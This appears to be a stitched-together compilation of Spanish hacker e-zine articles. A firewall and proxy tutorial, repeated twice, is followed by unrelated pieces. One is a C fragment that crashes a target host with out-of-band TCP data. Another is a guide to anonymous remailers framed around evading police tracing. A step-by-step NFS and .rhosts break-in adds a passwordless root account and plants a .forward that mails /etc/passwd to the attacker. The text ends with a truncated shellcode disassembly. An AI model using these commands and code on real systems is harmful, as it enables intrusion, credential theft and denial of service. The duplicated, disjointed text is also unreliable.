

Las redes de ordenadores tienen por naturaleza el cometido de permitir el libre flujo de información, hacer posible que un usuario de Madrid tenga un proceso en marcha en una computadora de París y al tiempo consulte la base de datos de la central en Londres todo como si los tres ordenadores estuvieran en la misma habitación, detener o impedir este flujo de información es perjudicial tanto para las compañías como para los gobiernos pero proteger sus datos de intrusiones no autorizadas es vital, se crea así el dilema de como establecer un sistema de seguridad que tenga el mínimo impacto posible en la "utilidad" de la red.

El propósito de los firewalls de Internet es pues proporcionar un punto de defensa que controle y vigile los accesos a los servicios que proporciona una red privada tanto desde dentro como desde fuera de esa red. Esto requiere un mecanismo que de manera selectiva autorice o bloquee el tráfico entre Internet y la red protegida, básicamente hay dos sistemas: Routers y Screening.

Los routers pueden controlar el tráfico basándose en la dirección IP o el puerto utilizado de manera que ciertas direcciones IP tengan acceso y a otras les sea negado.

Los hosts que efectúan screening pueden controlar el tráfico a nivel de aplicación, 'sacando' al usuario del nivel de protocolo y examinando más detenidamente el acceso,.

Para implementar un firewall que se base en 'routing and screening' se necesita al menos autorizar el acceso directo a la red protegida desde un número de direcciones IP, a nivel de screening esto no sería necesario pero son menos flexibles y requieren el desarrollo de unos 'forwarders' conocidos como proxys, el escoger un sistema u otro es optar por una mayor grado de servicio al usuario o un mayor grado de aislamiento de la red.

Para un protocolo de red un proxy es una aplicación que se ejecuta en un host firewall y ejecuta servicios requeridos a través del firewall actuando como un 'gateway'.

Los proxies dan la ilusión de una conexión directa punto a punto que en realidad no existe y dependiendo de su capacidad pueden interpretar el protocolo que manejan y dar mayor grado de control y vigilancia al administrador.

Por ejemplo:

Un proxy de FTP puede bloquear la exportación de ficheros de un sistema y permitir por contra que se 'suban' (upload) ficheros mientras que los firewalls basados en routing no pueden hacer esto.

Existen proxies para servicios como FTP, Telnet, etc... Posiblemente el mayor beneficio a la seguridad que da el utilizar un proxy es que da la oportunidad de autenticar al usuario.

Por ejemplo: Cuando te conectas desde Internet a una red protegida, lo más típico es conectarse primero al proxy, autenticarse ante él y tras ello se completa la conexión con el host que ya pertenece a la red protegida, así el proxy protege al mismo firewall, el usuario ya no accede ni siquiera al firewall para identificarse y ello protege a la red ya que solo los auténticos usuarios obtienen acceso al interior de la red.

Por lo tanto aunque dentro de la red existan "agujeros de seguridad" el restringir el acceso a usuarios autorizados es una primera medida de precaución.

Otros servicios como SMTP y USENET usan unos 'daemons' que en ocasiones poseen privilegios de sistema, si estos daemons contienen bugs, un atacante pueden explotarlos en su beneficio.

Para evitar este peligro los proxys se diseñan para ejecutarse sin

privilegios de sistema especiales, idealmente un usuario exterior ni siquiera tendria la oportunidad de interactuar con un proceso privilegiado, en la practica el daemon master de Internet (inetd) que es el encargado de iniciar a los otros daemons necesita ejecutarse con privilegios, siempre existe la posibilidad de que el kernel contenga backdoors, servicios escondidos o bugs que permitan a un atacante acceder al sistema. Esta es posiblemente la mejor manera de atacar un proxy.

Filosofia de Diseño

O sea, la manera en la que debe diseñarse un proxy para ser seguro.
(Recomendaciones oficiales aqui resumidas pertenecientes a un trabajo realizado para la agencia ARP del Departamento de Defensa de los Estados Unidos)

- Cualquier bug que pueda haber en la implementacion de un servicio de red no debe ser capaz de comprometer el sistema. Los servicios mal configurados no se ejecutaran antes que ofrecer potenciales brechas de seguridad.

Importante

- Los accesos desde el exterior de la red protegida no podran conectar directamente con el interior ni con servicios que posean privilegios.

- Los servicios de red son implementados con un minimo de caracteristicas y complejidad, el codigo fuente debe ser lo suficientemente pequeño y simple como para ser revisado con celeridad.

- Deben existir metodos razonables y practicos de 'testear' si el sistema esta correctamente instalado.

Aclaraciones de Paseante

En un host-based firewall cuando se se hackea el host la red entera esta abierta al ataque, no obstante esta solucion es facil de instalar, mantener, configurar y monitorizar (segfn ellos)

Y ahora un ejemplito de las reglas de configuracion de un proxy que se que lo estabais deseando, (tened siempre en cuenta que se busca el equilibrio entre seguridad y posibilidad de uso)

```
# Ejemplo ftp gateway rules:
# -----
ftp-gw: authserver 127.0.0.1 7777 // Se establece el servidor que
                                se usa como "autenticador"
ftp-gw: denial-msg /usr/local/etc/ftp-deny.txt // Mensaje de error al
                                                canto
ftp-gw: welcome-msg /usr/local/etc/ftp-welcome.txt // Bienvenido user
                                                    legitimo
ftp-gw: help-msg /usr/local/etc/ftp-help.txt
ftp-gw: timeout 3600
ftp-gw: permit-hosts 192.33.112.100 // Comienza el baile de permisos
                                    y restricciones
```

```
ftp-gw: deny-hosts 128.52.46.*
ftp-gw: permit-hosts 192.33.112.* -log { retr stor } -auth { stor }
ftp-gw: permit-hosts * -authall
```

A continuacion veremos como una red protegida utiliza proxys para prestar una serie de servicios con el minimo riesgo de verse comprometida.

Logging
 E-mail
 DNS
 FTP
 Telnet
 Control de acceso TCP

Vamos pues a examinar las características que debe tener un proxy que sirva como gateway en esas áreas para proporcionar servicios sin comprometer a la red.

Logging

Todo aquello de importancia y los registros de acceso son guardados en un host protegido de la red interna via syslog, el administrador puede ejecutar programas que "escaneen" el registro en busca de sucesos definidos y en caso de encontrarlos hacer saltar una alarma. Los tiempos de enviar claves "en claro" a traves de Inet quedan atras por temor a los sniffers, se recomienda las claves de un "solo uso" (CRYPTOCARD..etc) basicamente el firewall nos hace una pregunta y un programita de nuestro ordenador la contesta, la pregunta es cada vez diferente y la respuesta se basa en una relacion matematica asi que aunque alguien se entere da igual porque la proxima vez pregunta y respuesta seran distintas.

E-Mail

Uno de los puntos de ataque favoritos (recordad el "gusano" de Morris), se han identificado muchos bugs del sendmail que han sido yendo corregidos en las nuevas versiones. El problema de los mailers es complicado puesto que son complejos y necesitan privilegios para ejecutar acciones en beneficio del usuario (manipular mailboxes, ficheros..) Para proveer un sistema de correo seguro el acceso desde la red a sendmail de manera directa se evita y en su lugar se presenta una miniversión del SMTP un proxy llamado smap lo suficientemente pequeño para que su código no tenga ninguna "sorpresa" y lo único que hace es aceptar los mensajes y escribirlos en disco en un área específica, tras ello otro proceso recoge el correo y lo entrega al autentico sendmail para que lo deposite en los buzones correspondientes (lo que sendmail puede hacer sin que se le otorguen privilegios)

Aclaraciones de Paseante

 Afn hoy muchos firewalls de Internet ejecutan directamente sendmail porque confian en la "fiabilidad" de su version lo que no es la mejor opcion desde el punto de vista de la seguridad.

Evidentemente puestos a buscar bugs es mucho mas facil detectarlos en las 700 lineas de código de smap que en las 20.000 de sendmail, smap ofrece además la protección adicional de solo ejecutar comandos como HELO, FROM, RCPT, DATA, y QUIT dando error en otros como VRFY y EXPN para evitar intrusiones.

Smamp no es la panacea, a medida que se desarrollan nuevos ataques los administradores tienen que procurarse nuevos medios de defensa pero cada vez lo ponen mas dificil y se hace mas complicado entrar 'a pelo' desde fuera.

Domain Name Service (DNS)

El software de DNS disponible para UNIX no puede ser utilizado para obtener acceso al sistema aunque algunos ataques se han basado en el spoofing de DNS para enganar al firewall, para eliminar esta amenaza el DNS ya no se considera como algo valido para acceder a informacion protegida y solo el servicio de correo "confia" en el. En los registros junto al DNS se guarda la direccion IP, cualquier direccion IP que no coincida con el DNS es automaticamente marcada como un intento de spoofing.

Aclaraciones de Paseante

Evidentemente esto no significa que todos los sistemas se hayan adaptado ya a esto, os recuerdo que es solo la recomendacion oficial de lo que deberian hacer.

FTP

La aplicacion de FTP es un proceso que media entre las dos conexiones FTP, no utiliza acceso a disco excepto para leer su configuracion y es un programa lo suficientemente pequeno y sencillo como para no ser una amenaza a la seguridad (y mas teniendo en cuenta que se ejecuta sin privilegios). Para controlar el acceso a FTP la aplicacion lee en su fichero de configuracion los comandos que al ejecutarse activan el log y los sistemas a los que se permite el acceso a FTP, si el administrador lo desea todo el trafico se puede registrar y presentarse resumido.

TELNET

La aplicacion TELNET es tambien (y siguiendo la filosofia de diseno) pequena y simple y su mision es intermediar entre el trafico TELNET, al igual que el gateway de FTP el unico fichero que lee es el de su configuracion y tras ello es "chrooted" a un directorio restringido y como un proceso no privilegiado (esto es caracteristico de todas las aplicaciones proxy actuando como gateways.)

El fichero de configuracion de TELNET determina que sistemas o redes exteriores pueden conectarse a nuestra red y a que sistemas o redes exteriores puede permitirse que se conecte quien esta dentro de nuestra red. Opcionalmente se puede requerir identificacion. Todas las conexiones y su duracion son registradas.

Servicios basados en UDP

Como hemos visto una caracteristica de los proxys es que NO SE PERMITE EL TRAFICO DIRECTO entre un sistema exterior y uno interior, pero el UDP es una conexion que no funciona a traves de proxys al ser punto a punto. Por lo tanto NO SE PERMITEN servicios UDP, algunos de estos servicios como NTP y DNS pueden no obstante prestarse a traves de un firewall si se configura el servidor como un "forwarder" de las peticiones originadas dentro de la red protegida.

Uso y Acceso TCP

En el UNIX basado en BSD muchos procesos de red se inician con una conexión al daemon master inetd que es quien desvía la petición al programa que debe resolverla.

Por ejemplo:

Recibimos una petición de TELNET, el inetd "oye" esta petición y busca en su fichero de configuración la entrada [TELNET] de acuerdo con ello ejecuta el programa especificado en esa entrada y se le "pasa" la petición original.

Inetd, el daemon de servicios de Internet no ejecuta otra función salvo la de llamar a procesos específicos para que manejen las peticiones que se les hacen.

TCP Plug-Boards

Algunos servicios como Usenet news se ofrecen comúnmente a través de un firewall. En ese caso el administrador tiene la posibilidad de elegir si desea proporcionar el servicio en el mismo firewall o instalar un servidor proxy. Ejecutar las news en el firewall puede exponer la máquina a posibles bugs en el soft de news por lo que es más seguro utilizar un proxy como gateway a un sistema seguro para ello existen los "plugs-boards" que si bien en muchos casos han sido diseñados para el servicio Usenet news pueden emplearse como proxies de propósito general si se desea ya que actúan como "una tubería de datos" sin utilizar el disco local o llamar a otros procesos o subshells y por supuesto como todos los proxies pueden hacer un log de todas las conexiones.

Aclaraciones de Paseante

Como nada es perfecto los plugs-boards no usan autenticación del usuario (salvo la dirección del host y del cliente) y no examinan el tráfico que pasa a través de ellos.

Si un servidor (por ejemplo el servidor de NNTP) tiene una brecha de seguridad podría ser explotada, el firewall haría a un atacante mucho más difícil obtener acceso a la red para seguir explotando ese fallo pero si el servidor NNTP hubiese estado ejecutándose en el mismo firewall entonces todo el firewall se habría vuelto vulnerable.

En la práctica que los servidores no tengan privilegios de sistema especiales incrementa de manera notable la seguridad del firewall, más aún la metodología de desconectar todos los servicios al mínimo y después monitorizarlos uno a uno, caso a caso hace mayor la confianza de estar construyendo un sistema difícil de 'romper'. La decisión de confiar más en un sistema basado en "routers" o en "screenings" sigue siendo difícil y depende de muchos factores. Los firewalls son necesarios porque muchos servicios fueron desarrollados con un nivel de seguridad muy bajo o sin ninguno en absoluto, los administradores de redes han aprendido rápidamente la necesidad de contar con severas medidas de identificación y con protocolos bien diseñados. Como siempre la ventaja tecnológica está de parte del administrador, de su pereza e incompetencia depende que alguien vulnere la seguridad de su red.

EOF

beneficio a la seguridad que da el utilizar un proxy es que da la oportunidad de autentificar al usuario.

Por ejemplo: Cuando te conectas desde Internet a una red protegida, lo mas tipico es conectarse primero al proxy, autentificarse ante el y tras ello se completa la conexion con el host que ya pertenece a la red protegida, asi el proxy protege al mismo firewall, el usuario ya no accede ni siquiera al firewall para identificarse y ello protege a la red ya que solo los autenticos usuarios obtienen acceso al interior de la red. Por lo tanto aunque dentro de la red existan "agujeros de seguridad" el restringir el acceso a usuarios autorizados es una primera medida de precaucion.

Otros servicios como SMTP y USENET usan unos 'daemons' que en ocasiones poseen privilegios de sistema, si estos daemons contienen bugs, un atacante pueden explotarlos en su beneficio. Para evitar este peligro los proxys se diseñan para ejecutarse sin privilegios de sistema especiales, idealmente un usuario exterior ni siquiera tendria la oportunidad de interactuar con un proceso privilegiado, en la practica el daemon master de Internet (inetd) que es el encargado de iniciar a los otros daemons necesita ejecutarse con privilegios, siempre existe la posibilidad de que el kernel contenga backdoors, servicios escondidos o bugs que permitan a un atacante acceder al sistema. Esta es posiblemente la mejor manera de atacar un proxy.

Filosofia de Diseño

O sea, la manera en la que debe diseñarse un proxy para ser seguro. (Recomendaciones oficiales aqui resumidas pertenecientes a un trabajo realizado para la agencia ARP del Departamento de Defensa de los Estados Unidos)

- Cualquier bug que pueda haber en la implementacion de un servicio de red no debe ser capaz de comprometer el sistema. Los servicios mal configurados no se ejecutaran antes que ofrecer potenciales brechas de seguridad.

Importante

- Los accesos desde el exterior de la red protegida no podran conectar directamente con el interior ni con servicios que posean privilegios.

- Los servicios de red son implementados con un minimo de características y complejidad, el codigo fuente debe ser lo suficientemente pequeño y simple como para ser revisado con celeridad.

- Deben existir metodos razonables y practicos de 'testear' si el sistema esta correctamente instalado.

Aclaraciones de Paseante

 En un host-based firewall cuando se se hackea el host la red entera esta abierta al ataque, no obstante esta solucion es facil de instalar, mantener, configurar y monitorizar (segfn ellos)

Y ahora un ejemplito de las reglas de configuracion de un proxy que se que lo estabais deseando, (tened siempre en cuenta que se busca el equilibrio entre seguridad y posibilidad de uso)

```
# Ejemplo ftp gateway rules:
```

```

# -----
ftp-gw: authserver 127.0.0.1 7777 // Se establece el servidor que
                                se usa como "autenticador"

ftp-gw: denial-msg /usr/local/etc/ftp-deny.txt // Mensaje de error al
                                                canto

ftp-gw: welcome-msg /usr/local/etc/ftp-welcome.txt // Bienvenido user
                                                    legitimo

ftp-gw: help-msg /usr/local/etc/ftp-help.txt

ftp-gw: timeout 3600

ftp-gw: permit-hosts 192.33.112.100 // Comienza el baile de permisos
                                    y restricciones

ftp-gw: deny-hosts 128.52.46.*

ftp-gw: permit-hosts 192.33.112.* -log { retr stor } -auth { stor }

ftp-gw: permit-hosts * -authall

```

A continuacion veremos como una red protegida utiliza proxys para prestar una serie de servicios con el minimo riesgo de verse comprometida.

Logging

E-mail

DNS

FTP

Telnet

Control de acceso TCP

Vamos pues a examinar las características que debe tener un proxy que sirva como gateway en esas áreas para proporcionar servicios sin comprometer a la red.

Logging

Todo aquello de importancia y los registros de acceso son guardados en un host protegido de la red interna via syslog, el administrador puede ejecutar programas que "escaneen" el registro en busca de sucesos definidos y en caso de encontrarlos hacer saltar una alarma.

Los tiempos de enviar claves "en claro" a traves de Inet quedan atras por temor a los sniffers, se recomienda las claves de un "solo uso" (CRYPTOCARD..etc) basicamente el firewall nos hace una pregunta y un programita de nuestro ordenador la contesta, la pregunta es cada vez diferente y la respuesta se basa en una relacion matematica asi que aunque alguien se entere da igual porque la proxima vez pregunta y respuesta seran distintas.

E-Mail

Uno de los puntos de ataque favoritos (recordad el "gusano" de Morris), se han identificado muchos bugs del sendmail que han sido yendo corregidos en las nuevas versiones

El problema de los mailers es complicado puesto que son complejos y necesitan privilegios para ejecutar acciones en beneficio del usuario (manipular mailboxes, ficheros..) Para proveer un sistema de correo seguro el acceso desde la red a sendmail de manera directa se evita y en su lugar se presenta

una miniversión del SMTP un proxy llamado smap lo suficientemente pequeño para que su código no tenga ninguna "sorpresa" y lo único que hace es aceptar los mensajes y escribirlos en disco en un área específica, tras ello otro proceso recoge el correo y lo entrega al auténtico sendmail para que lo deposite en los buzones correspondientes (lo que sendmail puede hacer sin que se le otorguen privilegios)

Aclaraciones de Paseante

 Afín hoy muchos firewalls de Internet ejecutan directamente sendmail porque confían en la "fiabilidad" de su versión lo que no es la mejor opción desde el punto de vista de la seguridad.

Evidentemente puestos a buscar bugs es mucho más fácil detectarlos en las 700 líneas de código de smap que en las 20.000 de sendmail, smap ofrece además la protección adicional de solo ejecutar comandos como HELO, FROM, RCPT, DATA, y QUIT dando error en otros como VRFY y EXPN para evitar intrusiones. Smap no es la panacea, a medida que se desarrollan nuevos ataques los administradores tienen que procurarse nuevos medios de defensa pero cada vez lo ponen más difícil y se hace más complicado entrar 'a pelo' desde fuera.

Domain Name Service (DNS)

El software de DNS disponible para UNIX no puede ser utilizado para obtener acceso al sistema aunque algunos ataques se han basado en el spoofing de DNS para engañar al firewall, para eliminar esta amenaza el DNS ya no se considera como algo válido para acceder a información protegida y solo el servicio de correo "confía" en él. En los registros junto al DNS se guarda la dirección IP, cualquier dirección IP que no coincida con el DNS es automáticamente marcada como un intento de spoofing.

Aclaraciones de Paseante

 Evidentemente esto no significa que todos los sistemas se hayan adaptado ya a esto, os recuerdo que es solo la recomendación oficial de lo que deberían hacer.

FTP

La aplicación de FTP es un proceso que media entre las dos conexiones FTP, no utiliza acceso a disco excepto para leer su configuración y es un programa lo suficientemente pequeño y sencillo como para no ser una amenaza a la seguridad (y más teniendo en cuenta que se ejecuta sin privilegios). Para controlar el acceso a FTP la aplicación lee en su fichero de configuración los comandos que al ejecutarse activan el log y los sistemas a los que se permite el acceso a FTP, si el administrador lo desea todo el tráfico se puede registrar y presentarse resumido.

TELNET

La aplicación TELNET es también (y siguiendo la filosofía de diseño) pequeña y simple y su misión es intermediar entre el tráfico TELNET, al igual que el gateway de FTP el único fichero que lee es el de su configuración y tras ello es "chrooted" a un directorio restringido y como un proceso no privilegiado (esto es característico de todas las aplicaciones proxy actuando como gateways.) El fichero de configuración de TELNET determina que sistemas o redes

exteriores pueden conectarse a nuestra red y a que sistemas o redes exteriores puede permitirse que se conecte quien esta dentro de nuestra red. Opcionalmente se puede requerir identificacion. Todas las conexiones y su duracion son registradas.

Servicios basados en UDP

Como hemos visto una caracteristica de los proxys es que NO SE PERMITE EL TRAFICO DIRECTO entre un sistema exterior y uno interior, pero el UDP es una conexion que no funciona a traves de proxys al ser punto a punto. Por lo tanto NO SE PERMITEN servicios UDP, algunos de estos servicios como NTP y DNS pueden no obstante prestarse a traves de un firewall si se configura el servidor como un "forwarder" de las peticiones originadas dentro de la red protegida.

Uso y Acceso TCP

En el UNIX basado en BSD muchos procesos de red se inician con una conexion al daemon master inetd que es quien desvia la peticion al programa que debe resolverla.

Por ejemplo:

Recibimos una peticion de TELNET, el inetd "oye" esta peticion y busca en su fichero de configuracion la entrada [TELNET] de acuerdo con ello ejecuta el programa especificado en esa entrada y se le "pasa" la peticion original.

Inetd, el daemon de servicios de Internet no ejecuta otro funcion salvo la de llamar a procesos especificos para que manejen las peticiones que se les hacen.

TCP Plug-Boards

Algunos servicios como Usenet news se ofrecen comfnmente a traves de un firewall. En ese caso el administrador tiene la posibilidad de elegir si desea proporcionar el servicio en el mismo firewall o instalar un servidor proxy. Ejecutar las news en el firewall puede exponer la maquina a posible bugs en el soft de news por lo que es mas seguro utilizar un proxy como gateway a un sistema seguro para ello existen los "plugs-boards" que si bien en muchos casos han sido diseados para el servicio Usenet news pueden emplearse como proxys de proposito general si se desea ya que actuan como "una tuberia de datos" sin utilizar el disco local o llamar a otros procesos o subshells y por supuesto como todos los proxys pueden hacer un log de todas las conexiones.

Aclaraciones de Paseante

 Como nada es perfecto los plugs-boards no usan autentificacion del usuario (salvo la direccion del host y del cliente) y no examinan el trafico que pasa a traves de ellos.

Si un servidor (por ejemplo el servidor de NNTP) tiene una brecha de seguridad podria ser explotada, el firewall haria a un atacante mucho mas dificil obtener acceso a la red para seguir explotando ese fallo pero si el servidor NNTP hubiese estado ejecutandose en el mismo firewall entonces todo el firewall se habria vuelto vulnerable.

En la practica que los servidores no tengan privilegios de sistema especiales incrementa de manera notable la seguridad del firewall, mas afn la metodologia de desconectar todos los servicios al minimo y despues monitorizarlos uno a uno, caso a caso hace mayor la confianza de estar construyendo un sistema dificil de 'romper'. La decision de confiar mas en un sistema basado en "routers" o en "screenings" sigue siendo dificil y depende de muchos factores. Los firewall son necesarios porque muchos servicios fueron desarrollados con un nivel de seguridad muy bajo o sin ninguno en absoluto, los administradores de redes han aprendido rapidamente la necesidad de contar con severas medidas de identificacion y con protocolos bien diseados. Como siempre la ventaja tecnologica esta de parte del administrador, de su pereza e incompetencia depende que alguien vulnere la seguridad de su red.

EOF


```

    blah.sin_port=htons(port);

    if ((he = gethostbyname(server)) != NULL) {
        bcopy(he->h_addr, (char *)&blah.sin_addr, he->h_length);
    }
    else {
        if ((blah.sin_addr.s_addr = inet_addr(server)) < 0) {
            perror("gethostbyname()");
            return(-3);
        }
    }

    if (connect(sock,(struct sockaddr *)&blah,16)==-1) {
        perror("connect()");          /* Presa en punto de mira */
        close(sock);
        return(-4);
    }
    printf("Conectado a [%s:%d].\n",server,port);
    return;
}

void main(int argc, char *argv[]) {

    if (argc != 2) {
        printf("Usage: %s <target>\n",argv[0]);
        exit(0);
    }

    if ((s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
        perror("socket()");
        exit(-1);
    }

    open_sock(s,argv[1],dport);

    printf("Running crash... ");          /*Modula la cadena como OOB */
    send(s,str,strlen(str),MSG_OOB);
    usleep(100000);
    printf("Done!\n");
    close(s);
}

```

Por supuesto espero que nadie se dedique a colgar ordenadores a diestro y siniestro, no seais lamers.

EOF

No os confieis de todas maneras, si lo usais para actos claramente delictivos ellos daran vuestros datos a la policia si esta los solicita, lo dejan bien claro, no se van a jugar el culo por vosotros.

En la 2ª Guerra Mundial algunos judios que querian enviar noticias utilizaban un truco consistente en escribir a alguien "fuera de sospecha", la carta contenia un sobre cerrado con la direccion ya escrita, el destinatario cogia este sobre y simplemente le ponía un sello y lo echaba al buzón, la carta llegaba ahora a otra persona a la cual el primero no podría haber escrito sin despertar las sospechas de la censura. Un remailer funciona mas o menos de esa manera.

Podeis utilizar un remailer via Web, lastimosamente el abuso de muchos descerebrados ha hecho que la mayor parte de los gratuitos hayan cerrado, otra opcion es conectar al puerto SMTP (25) de un ordenador cuyo programa de correo no guarde la IP del visitante, buscadlos hay listas.

Pero ya se lo que quereis vosotros, quereis un programa a ser posible en entorno grafico (Windows por ejemplo) con ayuda, encriptacion PGP desde dentro del programa (para no romperse la cabeza)..etc. Y quereis tener automaticamente la lista de remailers en funcionamiento e ir la actualizando. Quereis mucho vosotros pero es posible...

El programa se llama Private Idaho y su ultima version es de Enero del 97 y digo ultima por que el autor lo deja pero este magnifico programa incorpora.

- Lista de remailers por tipos: Cyberpunk, Advanced Cyberpunk, Eric, Mixmaster
- Encriptacion PGP y creacion de llaves desde el programa, aunque no tiene la potencia de un shell
- Posteo anonimo a Usenet
- Creacion de nym's o cuentas anonimas
- Transferencia a otras aplicaciones
- Informacion actualizable con solo seleccionar una opcion.
- Es GRATIS
- Y mas..

Direccion: <http://www.eskimo.com/~joelm>

Direccion listado de remailers y estadisticas de funcionamiento asi como ayuda sobre su uso.

<http://www.cs.berkeley.edu/~raph/remailer-list.html>

Una cuenta como HotMail, Geocities.. os puede servir para recibir correo puesto que sus servidores estan fuera del territorio español muy gorda la tendreis que hacer para que vayan a pedir autorizacion a los USA y muchas pruebas tendran que presentar para que se la den.

Pero NO os sirve para enviar porque cuando se examina el mensaje con la opcion "Full Headers" se vera algo como.

Received from 191.179.227.4 by web4.com - esta sera la primera linea de la cadena de Received from ... by.. que permiten trazar la ruta de un mensaje y la primera direccion IP es la vuestra en el momento de enviar el mensaje. Por lo tanto ya os tienen delimitados en proveedor, universidad..etc A partir de aqui es solo una cuestion de tiempo ser cazados y creo que ya han detenido a MUCHA GENTE para que dejeis de tomaroslo a broma.

Enviar un mensaje a traves de un remailer por contra no nos posibilita el recibir datos puesto que para eso deberemos dar una direccion ya que el remailer, recordadlo, ha borrado toda la informacion que permitia trazar el mensaje de vuelta hasta nosotros. Podemos pues incluir en nuestro mensaje una referencia a una direccion segura en la que recibir correo, preferiblemente encriptado o bien dar de alta una cuenta anonima.

-- Los nym--

Un nym (ano_nym_ous) es una cuenta anonima que nos permite enviar correo de manera discreta y recibirlo a esa cuenta que luego deriva hacia nuestra cuenta real, todo el correo tanto de ida como de vuelta viaja encriptado con PGP por lo cual ha de tenerse las llaves de los remailers (Private Idaho las coge de manera semi-automatica) y una llave propia asociada al nym.

Hasta hace poco mi nym era <pas@nym.alias.net> ahora este servidor esta fuera de onda con lo cual la mayor parte de los mensajes se pierden pero hasta entonces me permitio recibir y enviar correo anonima y comodamente y sobre todo de forma segura.

Por tanto ahora me he dado de alta otras cuentas nym y es que aunque abusar es malo hay que acostumbrarse a tener 8 o 10 cuentas de correo en diferentes sitios, de redireccionamiento, Web-mail, POP, nym. Las estan dando GRATIS a patadas!. Aprovechaos, nunca viene mal tener buzones "por si acaso" y lo mismo digo de las paginas Web.

Claro que puede que prefirais que os cojan....

Esta son las direcciones de correo de algunos remailers, tened en cuenta que solo aceptan mensajes encriptados con PGP para lo cual teneis que haceros con su llave (probad finger) o enviar un mail con el Body remailer-help. Recordad que Private Idaho las trae consigo y las actualiza a peticion nuestra y que en la pagina que os he dicho obtendreis mas informacion.

remail@miron.vip.best.com
remailer@replay.com
mixmaster@remail.obscura.com
remailer@remailer.nl.com
ncognito@rigel.cyberpass.net
mix@squirrel.owl.de

Los remailers de tipo mixmaster necesitan que sus usuarios instalen un soft especial.

La pagina del PGP (version internacional)
<http://www.ifi.uio.no/~staalesc/pgp>

EOF

Esta informacion no permite entrar en el sistema evidentemente pero ya sabemos unas cuantas cosas sobre victima.com sin habernos tomado mucho trabajo, por eso estan deshabilitando el finger a marchas forzadas. :(

Vamos a seguir recogiendo info, ejecutemos showmount en victima.com

```
Saq.com % showmount -e victima.com
export list for victima.com:
/export                (everyone)
/var                   (everyone)
/usr                   easy
/export/exec/kvm/sun4c.sunos.4.1.3 easy
/export/root/easy      easy
/export/swap/easy      easy
```

Vemos que /export es accesible para todo el mundo y click! nos acordamos de que export/foo es el home directory del usuario guest. Ya tenemos marcado el camino de entrada.

Vamos a efectuar un mount del directorio inicial del user "guest". Puesto que no tenemos cuenta en la maquina local y puesto que el root no puede modificar ficheros en un sistema de ficheros NFS 'montados' lo que haremos es crear una cuenta "guest" en nuestro fichero de claves local, como usuario guest podemos poner una entrada .rhosts en el directorio export/foo y esto nos permitira hacer un login como guest a victima.com sin password.

Basta de rollo, aqui van los comandos: :-)

```
saq # mount victima.com:/export/foo /foo
saq # cd /foo
saq # ls -lag
total 3
  1 drwxr-xr-x 11 root    daemon    512 Jun 19 09:47 .
  1 drwxr-xr-x  7 root    wheel     512 Jul 19 1991 ..
  1 drwx--x--x  9 10001  daemon   1024 Aug  3 15:49 guest
saq # echo guest:x:10001:1:temporary breakin account:/: >> /etc/passwd
saq # ls -lag
total 3
  1 drwxr-xr-x 11 root    daemon    512 Jun 19 09:47 .
  1 drwxr-xr-x  7 root    wheel     512 Jul 19 1991 ..
  1 drwx--x--x  9 guest   daemon   1024 Aug  3 15:49 guest
saq # su guest
saq % echo saq.com >> guest/.rhosts
saq % rlogin victima.com
```

Welcome to victima.com!

victima %

Facil "no?". Si en lugar de directorios iniciales victima.com exportase ficheros del sistema con comandos como (say, /usr, /usr/local/bin) podriamos reemplazar uno de esos comandos de usuario con un troyano que ejecutase un comando de nuestra eleccion.

El siguiente usuario que ejecutase ese comando lo que haria en realidad es ejecutar nuestro programa.

En el caso de que victima.com tuviese un comodin "+" en su /etc/hosts.equiv que en algunos casos es la configuracion por defecto cualquier usuario sin cuenta de root con un nombre de login en el fichero de passwords en victima.com podria hacer rlogin a victima.com ...sin password.

El siguiente paso seria hacer log en victima.com e intentar modificar el fichero de passwords para obtener acceso de root.

```

saq % whoami
bin
saq % rsh victima.com csh -i
Warning: no access to tty;
victima % ls -ldg /etc
drwxr-sr-x  8 bin      staff      2048 Jul 24 18:02 /etc
victima % cd /etc
victima % mv passwd pw.old
victima % (echo toor::0:1:instant root shell:/:/bin/sh; cat pw.old ) > passwd
victima % ^D
saq % rlogin victima.com -l toor

```

Welcome to victima.com!

victima #

NOTA:"rsh victim.com csh -i" se usa para entrar inicialmente en el sistema por que no deja trazas en los ficheros de auditoria wtmp o utmp, convirtiendo el rsh en "invisible" para el finger y el who.

"Hemos acabado?. No, ni de buen trozo. SATAN aun puede buscar mas brechas de seguridad, volvemos a examinar los resultados de finger y rusers y vemos una cuenta "ftp" por lo que posiblemente se permita anonymous FTP. Hay veces en que el FTP esta mal configurado y ofrece posibilidades a un intruso, probemos a ver si victima.com guarda una copia completa de su fichero de claves en ~ftp/etc en lugar de una "version reducida". Si se da el caso de que podemos escribir en el directorio inicial de ftp podemos ejecutar remotamente un comando que haga... no se.. que os parece que nos mande el fichero de claves *por correo*. El mecanismo es simple, como el del programa que envia el mensaje de "vacation" para contestar automaticamente a los mensajes que llegan.

```

saq % cat forward_loser_file
"|/bin/mail pas@saq.com < /etc/passwd"

```

```

saq % ftp victima.com
Connected to victima.com
220 victima FTP server ready.
Name (victima.com:pas): ftp
331 Guest login ok, send ident as password.
Password:
230 Guest login ok, access restrictions apply.
ftp> ls -lga
200 PORT command successful.
150 ASCII data connection for /bin/ls (192.192.192.1,1129) (0 bytes).
total 5
drwxr-xr-x  4 101      1          512 Jun 20  1991 .
drwxr-xr-x  4 101      1          512 Jun 20  1991 ..
drwxr-xr-x  2 0        1          512 Jun 20  1991 bin
drwxr-xr-x  2 0        1          512 Jun 20  1991 etc
drwxr-xr-x  3 101      1          512 Aug 22  1991 pub
226 ASCII Transfer complete.
242 bytes received in 0.066 seconds (3.6 Kbytes/s)
ftp> put forward_loser_file .forward
43 bytes sent in 0.0015 seconds (28 Kbytes/s)
ftp> quit
saq % echo test | mail ftp@victima.com

```

Ahora tomaros un JB mientras esperais tranquilamente a que os llegue el fichero de claves.

Si el tema interesa en proximos numeros seguiremos hablando de SATAN, rcpinfo, NIS y como no, el infame Sendmail, posiblemente el programa con

mas bugs de la historia con permiso del MierdaSoft Internet Explorer.

EOF


```

/* El desensamblado
7c0802a6      mfspr   r0,LR
9421fbb0      stu     SP,-1104(SP) --get stack
90010458      st      r0,1112(SP)
3c60f019      cau     r3,r0,0xf019 --CTR
60632c48      lis     r3,r3,11336 --CTR
90610440      st      r3,1088(SP)
3c60d002      cau     r3,r0,0xd002 --TOC
60634c0c      lis     r3,r3,19468 --TOC
90610444      st      r3,1092(SP)
3c602f62      cau     r3,r0,0x2f62 --'/bin/sh\x01'
6063696e      lis     r3,r3,26990
90610438      st      r3,1080(SP)
3c602f73      cau     r3,r0,0x2f73
60636801      lis     r3,r3,26625
